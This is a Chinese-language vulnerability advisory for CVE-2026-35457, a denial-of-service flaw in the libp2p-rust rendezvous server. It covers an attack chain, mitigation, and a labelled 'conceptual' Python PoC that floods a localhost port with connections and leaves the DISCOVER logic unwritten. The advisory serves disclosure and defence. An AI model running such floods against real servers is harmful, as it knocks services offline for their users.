IPBUF安全漏洞报告
English
CVE-2026-35457 CVSS 8.2 高危

CVE-2026-35457 libp2p-rust无界内存增长漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-35457
漏洞类型
拒绝服务
CVSS评分
8.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
libp2p-rust

相关标签

DoSMemory Exhaustionlibp2pRustCVE-2026-35457

漏洞概述

libp2p-rust是libp2p网络栈的官方Rust语言实现。在0.17.1版本之前,其rendezvous服务器在存储分页Cookie时未设置边界限制。未经身份验证的攻击者可以利用此漏洞,通过反复发送DISCOVER请求,迫使服务器无限制地分配内存,导致系统资源耗尽并引发拒绝服务。该漏洞已在0.17.1版本中修复。

技术细节

该漏洞存在于libp2p-rust的rendezvous服务器实现中。在处理DISCOVER协议请求时,服务器为了支持分页功能,会将生成的分页Cookie存储在内存中。然而,在0.17.1之前的版本中,代码逻辑未对存储的Cookie数量或生命周期进行任何限制(即无界存储)。未经身份验证的远程攻击者可以利用这一设计缺陷,通过持续发送特制的DISCOVER请求,迫使服务器在内存中累积大量的Cookie对象。这种无限制的内存增长会迅速耗尽可用系统资源,导致服务器响应变慢、崩溃或重启,从而实现拒绝服务攻击。此外,由于无需用户交互,该漏洞易于被自动化工具大规模利用。

攻击链分析

STEP 1
侦察
识别互联网上暴露的libp2p-rust rendezvous服务器,并确认其版本低于0.17.1。
STEP 2
漏洞利用
攻击者向目标服务器发送大量的DISCOVER请求,无需进行身份认证。
STEP 3
资源耗尽
服务器为每个请求生成并存储分页Cookie,由于缺乏限制,内存占用持续无界增长。
STEP 4
拒绝服务
服务器内存耗尽,触发OOM Kill或导致服务进程崩溃,无法响应正常用户的请求。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket import time # Conceptual PoC for CVE-2026-35457 # This script simulates sending repeated DISCOVER requests to a libp2p rendezvous server. # Note: Actual libp2p protocol implementation (protobuf/multistream) is required for a real exploit. TARGET_IP = "127.0.0.1" TARGET_PORT = 9999 def send_discover_flood(): print(f"[*] Starting DoS flood on {TARGET_IP}:{TARGET_PORT}...") count = 0 try: while True: # In a real scenario, this would construct a valid libp2p packet # containing a DISCOVER message. # For simulation, we open a connection to consume resources. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_IP, TARGET_PORT)) # Logic to send DISCOVER request would go here # s.send(data) count += 1 if count % 100 == 0: print(f"[*] Sent {count} requests. Memory growing...") # Not closing the socket or sending valid pagination cookies # forces the server to keep state if vulnerable. time.sleep(0.01) except KeyboardInterrupt: print("\n[!] Attack stopped by user.") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": send_discover_flood()

影响范围

libp2p-rust < 0.17.1

防御指南

临时缓解措施
如果无法立即升级,建议在容器或操作系统层面限制该进程的内存使用上限(如使用Docker的--memory参数),或通过反向代理限制请求速率,以缓解内存耗尽带来的影响。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表